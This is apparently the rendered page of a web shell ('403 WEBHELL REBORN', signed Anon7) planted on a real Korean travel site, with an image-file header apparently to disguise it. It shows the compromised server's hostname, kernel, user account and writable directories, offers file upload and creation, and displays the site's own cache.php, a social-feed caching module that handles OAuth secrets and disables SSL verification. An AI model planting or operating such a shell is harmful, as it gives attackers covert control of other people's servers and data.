ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/skin/latest/ixRolling/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/skin/latest/ixRolling/cache.php
<?php
/**
 * ixr (ix rolling) cache module
 * @author eyesonlyz@nate.com
 * @require php 5.x http://php.net
 * @require curl http://php.net/curl
 * @version 1.2
 */

// 트위터 설정
define('OAUTH_CONSUMER_KEY', get_cfg_var('oauth_consumer_key')); ///< 수정하세요
define('OAUTH_CONSUMER_SECRET', get_cfg_var('oauth_consumer_secret')); ///< 수정하세요
define('OAUTH_ACCESS_TOKEN', get_cfg_var('oauth_access_token')); ///< 수정하세요
define('OAUTH_ACCESS_TOKEN_SECRET', get_cfg_var('oauth_access_token_secret')); ///< 수정하세요


// 페이스북 설정
define('FACEBOOK_APP_ID',get_cfg_var('facebook_app_id'));
define('FACEBOOK_APP_SECRET',get_cfg_var('facebook_app_secret'));



define('IXR_CACHE_DIR', dirname(__FILE__) . '/cache'); //< 원하시는 캐쉬디렉토리 경로로 변경하실 수 있습니다

header("Content-Type: application/json; charset=utf-8");
define('IXR_MIN_SYNC_SECOND', 60);
if (!is_dir(IXR_CACHE_DIR)) {
	if (is_writable(dirname(IXR_CACHE_DIR))) {
		mkdir(IXR_CACHE_DIR);
	} else {
		header("HTTP/1.1 500 Internal Server Error");
		echo '{}';
		return;
	}
}
if (!is_writable(IXR_CACHE_DIR)) {
	header("HTTP/1.1 500 Internal Server Error");
	echo '{}';
	return;
}
if (!extension_loaded('curl') || !function_exists('json_encode')) {
	header("HTTP/1.1 501 Not Implemented");
	echo '{}';
	return;
}

if (!empty($_GET['provider']) && is_array($_GET['provider'])) {
	$cache = new IXR_Cache($_GET['provider']);
	$cache->render();
}


class IXR_Cache
{
	protected $provider;
	protected $key;

	/**
	 * 선언된 url 요청만 캐쉬할 수 있습니다.
	 * @var array
	 */
	protected $allow_url = array(
		'twitter' => array(
			'https://api.twitter.com/1.1/statuses/user_timeline.json?',
			'https://api.twitter.com/1.1/search/tweets.json?'
		),
		'youtube' => array(
			'https://gdata.youtube.com/',
			'http://gdata.youtube.com/'
		),
		'facebook' => array(
			'https://graph.facebook.com/search?',
			'http://graph.facebook.com/search?',
			'https://www.facebook.com/feeds/page.php?',
			'http://www.facebook.com/feeds/page.php?',
			'http://query.yahooapis.com/v1/public/yql?'
		),
		'yozm' => array('https://apis.daum.net/yozm/v1_0/search/timeline.json?'),
		'me2day' => array(
			'http://me2day.net/search.json?',
			'http://me2day.net/api/get_posts/'
		),
		'feed' => array('http://query.yahooapis.com/v1/public/yql?')
	);

	public function __construct($provider)
	{
		$this->provider = $provider;
		if (empty($this->provider['provider_name']) && !empty($this->provider['service'])) {
			$this->provider['provider_name'] = $this->provider['service'];
		}
		if (empty($this->provider['sync_second']) || $this->provider['sync_second'] < 300) {
			$this->provider['sync_second'] = 60 * 5;
		}

		if (empty($this->provider['key'])) {
			exit;
		}

		$this->key = md5($this->provider['provider_name'] . $this->provider['key']);
		$this->filename = IXR_CACHE_DIR . '/' . $this->key . '.json';
		$this->tmp_file = $this->filename . '.tmp';

		if ($this->provider['ajax']['dataType'] === 'jsonp') {
			$this->provider['url'] .= '&callback=jQuery' . $this->key . time();
		}
	}

	function get_data($url)
	{
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
		$t = @curl_exec($ch);
		if (curl_getinfo($ch, CURLINFO_HTTP_CODE) !== 200) {
			$t = false;
		}
		if (curl_errno($ch) !== 0) {
			$t = false;
		}
		curl_close($ch);
		return $t;
	}

	function _default_provider($provider)
	{
		if ($provider['provider_name'] === 'twitter') {
			$urls = parse_url($provider['url']);
			$method = 'GET';
			$query = array();
			parse_str($urls['query'], $query);
			if (isset($query['callback'])) {
				unset($query['callback']);
			}
			$oauth = array(
				'oauth_consumer_key' => OAUTH_CONSUMER_KEY,
				'oauth_token' => OAUTH_ACCESS_TOKEN,
				'oauth_nonce' => md5(microtime() . rand()),
				'oauth_timestamp' => time(),
				'oauth_signature_method' => 'HMAC-SHA1',
				'oauth_version' => '1.0'
			);

			$oauth = array_map("rawurlencode", $oauth);
			$query = array_map("rawurlencode", $query);

			$arr = array_merge($oauth, $query);
			asort($arr);
			ksort($arr);
			$querystring = http_build_query($arr, '', '&');

			$url = $urls['scheme'] . '://' . $urls['host'] . $urls['path'];
			$base_string = $method . "&" . rawurlencode($url) . "&" . rawurlencode($querystring);
			$key = rawurlencode(OAUTH_CONSUMER_SECRET) . "&" . rawurlencode(OAUTH_ACCESS_TOKEN_SECRET);
			$signature = rawurlencode(base64_encode(hash_hmac('sha1', $base_string, $key, true)));
			$url .= "?" . http_build_query($query);

			$oauth['oauth_signature'] = $signature;
			ksort($oauth);
			foreach ($oauth as $k => $v) {
				$oauth[$k] = '"' . $v . '"';
			}
			$headers = array();
			$headers[] = "Authorization: OAuth " . urldecode(http_build_query($oauth, '', ', '));
			$options = array(
				CURLOPT_TIMEOUT => 3,
				CURLOPT_USERAGENT => "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
				CURLOPT_HEADER => false,
				CURLOPT_URL => $url,
				CURLOPT_RETURNTRANSFER => true
			);

			if ($urls['scheme'] === 'https') {
				$options[CURLOPT_SSL_VERIFYPEER] = 0;
				$options[CURLOPT_SSL_VERIFYHOST] = 0;
			}
			$options[CURLOPT_HTTPHEADER] = $headers;
			$ch = curl_init();
			curl_setopt_array($ch, $options);
			$data = curl_exec($ch);
			if (curl_getinfo($ch, CURLINFO_HTTP_CODE) !== 200) {
				$data = false;
			}
			curl_close($ch);
		} else if($provider['provider_name'] === 'facebook'){
			$_url = "https://graph.facebook.com/oauth/access_token?client_id=".FACEBOOK_APP_ID."&client_secret=".FACEBOOK_APP_SECRET."&grant_type=client_credentials";
			$_token = $this->get_data($_url);
			$_vars = array();
			parse_str($_token,$_vars);
			if(!empty($_vars['access_token'])){
				$data = $this->get_data($provider['url'].'&access_token='.$_vars['access_token']);
			}else{
				$data = '{}';
			}
		} else {
			$data = $this->get_data($provider['url']);
		}
		if ($data) {
			if ($data[0] !== '[' && $data[0] !== '{') {
				$spos = strpos($data, '(') + 1;
				$epos = strrpos($data, ')') - $spos;
				$json_data = substr($data, $spos, $epos);
			} else {
				$json_data = $data;
			}
			$json = json_decode($json_data);
			if (!empty($json)) {
				$json = json_encode($json);
				@file_put_contents($this->filename, $json);
				return $json;
			}
		}

		return '{}';
	}

	function provider_twitter($provider)
	{
		return $this->_default_provider($provider);
	}

	function provider_facebook($provider)
	{
		return $this->_default_provider($provider);
	}

	function provider_yozm($provider)
	{
		return $this->_default_provider($provider);
	}

	function provider_youtube($provider)
	{
		return $this->_default_provider($provider);
	}

	function provider_me2day($provider)
	{
		return $this->_default_provider($provider);
	}

	function provider_feed($provider)
	{
		return $this->_default_provider($provider);
	}

	function render()
	{
		if (is_array($this->provider)) {
			if (!empty($this->provider['provider_name'])) {
				$method = 'provider_' . $this->provider['provider_name'];
				if (method_exists($this, $method)) {
					if (!empty($this->provider['url']) && !empty($this->allow_url[$this->provider['provider_name']])) {
						$valid = false;
						foreach ($this->allow_url[$this->provider['provider_name']] as $url) {
							if (strpos($this->provider['url'], $url) === 0) {
								$valid = true;
								break;
							}
						}
						if ($valid) {
							if (is_file($this->filename)) {
								$sync_second = (int)$this->provider['sync_second'];
								if ($sync_second < IXR_MIN_SYNC_SECOND) {
									$sync_second = IXR_MIN_SYNC_SECOND;
								}
								$ftime = filemtime($this->filename);
								if ($ftime + $sync_second > time() || file_exists($this->tmp_file)) {
									header('X-IXR-CACHE: ' . ($ftime + $sync_second - time()) . ' SEC');
									readfile($this->filename);
									return;
								}
							}
							file_put_contents($this->tmp_file, 'tmp');
							echo $this->$method($this->provider);
							unlink($this->tmp_file);
						}
					}
				}
			}
		}
	}
}

Anon7 - 2021